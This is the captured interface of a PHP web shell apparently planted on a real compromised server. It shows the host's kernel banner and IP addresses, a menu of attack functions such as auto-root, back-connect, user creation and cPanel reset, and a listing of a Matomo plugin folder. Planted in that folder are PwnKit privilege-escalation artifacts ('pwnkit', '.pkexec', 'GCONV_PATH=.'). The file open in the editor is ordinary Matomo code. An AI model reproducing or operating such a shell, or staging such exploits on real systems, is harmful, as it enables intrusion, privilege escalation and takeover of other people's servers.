Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.144.255.247
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Plugin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Dimension
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
API.php
4.12
KB
-rw-r--r--
AggregatedMetric.php
612
B
-rw-r--r--
ArchivedMetric.php
5.58
KB
-rw-r--r--
Archiver.php
5.64
KB
-rw-r--r--
Categories.php
1.99
KB
-rw-r--r--
ComponentFactory.php
4.94
KB
-rw-r--r--
ComputedMetric.php
8.45
KB
-rw-r--r--
ConsoleCommand.php
1.43
KB
-rw-r--r--
Controller.php
41.92
KB
-rw-r--r--
ControllerAdmin.php
16.01
KB
-rw-r--r--
Dependency.php
5.98
KB
-rw-r--r--
LogTablesProvider.php
3.11
KB
-rw-r--r--
Manager.php
52.91
KB
-rw-r--r--
Menu.php
11.54
KB
-rw-r--r--
MetadataLoader.php
3.73
KB
-rw-r--r--
Metric.php
6.41
KB
-rw-r--r--
PluginException.php
1.11
KB
-rw-r--r--
ProcessedMetric.php
2.27
KB
-rw-r--r--
ReleaseChannels.php
2.55
KB
-rw-r--r--
Report.php
35.26
KB
-rw-r--r--
ReportsProvider.php
9.3
KB
-rw-r--r--
RequestProcessors.php
630
B
-rw-r--r--
Segment.php
12.75
KB
-rw-r--r--
SettingsProvider.php
7.15
KB
-rw-r--r--
Tasks.php
5.37
KB
-rw-r--r--
ThemeStyles.php
5.82
KB
-rw-r--r--
ViewDataTable.php
21.71
KB
-rw-r--r--
Visualization.php
33.17
KB
-rw-r--r--
WidgetsProvider.php
4.53
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReleaseChannels.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Plugin; use Piwik\Config; use Piwik\Container\StaticContainer; use Piwik\UpdateCheck\ReleaseChannel; /** * Get release channels that are defined by plugins. */ class ReleaseChannels { /** * @var Manager */ private $pluginManager; public function __construct(Manager $pluginManager) { $this->pluginManager = $pluginManager; } /** * @return ReleaseChannel[] */ public function getAllReleaseChannels() { $classNames = $this->pluginManager->findMultipleComponents('ReleaseChannel', 'Piwik\\UpdateCheck\\ReleaseChannel'); $channels = array(); foreach ($classNames as $className) { $channels[] = StaticContainer::get($className); } usort($channels, function (ReleaseChannel $a, ReleaseChannel $b) { if ($a->getOrder() === $b->getOrder()) { return 0; } return ($a->getOrder() < $b->getOrder()) ? -1 : 1; }); return $channels; } /** * @return ReleaseChannel */ public function getActiveReleaseChannel() { $channel = Config::getInstance()->General['release_channel']; $channel = $this->factory($channel); if (!empty($channel)) { return $channel; } $channels = $this->getAllReleaseChannels(); // we default to the one with lowest id return reset($channels); } /** * Sets the given release channel in config but does not save id. $config->forceSave() still needs to be called * @internal tests only * @param string $channel */ public function setActiveReleaseChannelId($channel) { $general = Config::getInstance()->General; $general['release_channel'] = $channel; Config::getInstance()->General = $general; } public function isValidReleaseChannelId($releaseChannelId) { $channel = $this->factory($releaseChannelId); return !empty($channel); } /** * @param string $releaseChannelId * @return ReleaseChannel */ private function factory($releaseChannelId) { $releaseChannelId = strtolower($releaseChannelId); foreach ($this->getAllReleaseChannels() as $releaseChannel) { if ($releaseChannelId === strtolower($releaseChannel->getId())) { return $releaseChannel; } } } }
Close